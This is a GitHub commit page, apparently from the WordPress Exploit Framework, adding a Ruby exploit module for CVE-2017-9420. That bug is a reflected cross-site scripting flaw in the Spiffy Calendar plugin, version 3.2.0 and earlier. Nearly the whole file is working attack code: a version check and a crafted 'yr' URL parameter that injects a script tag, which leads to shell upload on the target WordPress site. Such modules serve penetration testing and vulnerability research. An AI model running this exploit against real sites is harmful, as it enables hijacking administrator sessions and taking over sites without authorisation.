Skip to content
This repository was archived by the owner on Oct 22, 2020. It is now read-only.

Commit be7faa6

Browse files
committed
Add Spiffy Calendar <= 3.2.0 reflected XSS shell upload
1 parent 01ec56b commit be7faa6

File tree

1 file changed

+46
-0
lines changed

1 file changed

+46
-0
lines changed
Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
class Wpxf::Exploit::SpiffyCalendarReflectedXssShellUpload < Wpxf::Module
2+
include Wpxf::WordPress::ReflectedXss
3+
include ERB::Util
4+
5+
def initialize
6+
super
7+
8+
update_info(
9+
name: 'Spiffy Calendar <= 3.2.0 Reflected XSS Shell Upload',
10+
author: [
11+
'DTSA', # Discovery
12+
'Rob Carr <rob[at]rastating.com>' # WPXF module
13+
],
14+
references: [
15+
['WPVDB', '8842'],
16+
['CVE', '2017-9420'],
17+
['URL', 'https://dtsa.eu/cve-2017-9420-wordpress-spiffy-calendar-v-3-2-0-reflected-cross-site-scripting-xss/']
18+
],
19+
date: 'Jun 02 2017'
20+
)
21+
22+
register_option(
23+
StringOption.new(
24+
name: 'calendar_path',
25+
desc: 'The relative path or absolute URL of the calendar',
26+
required: true
27+
)
28+
)
29+
end
30+
31+
def check
32+
check_plugin_version_from_changelog('spiffy-calendar', 'readme.txt', '3.2.1')
33+
end
34+
35+
def vulnerable_url
36+
normalize_relative_uri(datastore['calendar_path'])
37+
end
38+
39+
def url_payload
40+
url_encode("#{DateTime.now.year}\"><script>#{xss_ascii_encoded_include_script}</script>")
41+
end
42+
43+
def url_with_xss
44+
"#{vulnerable_url}?month=#{Utility::Text.rand_month[0..2]}&yr=#{url_payload}"
45+
end
46+
end

0 commit comments

Comments
 (0)